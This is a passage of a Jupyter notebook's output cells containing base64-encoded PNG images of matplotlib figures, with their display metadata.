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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1c209116a0>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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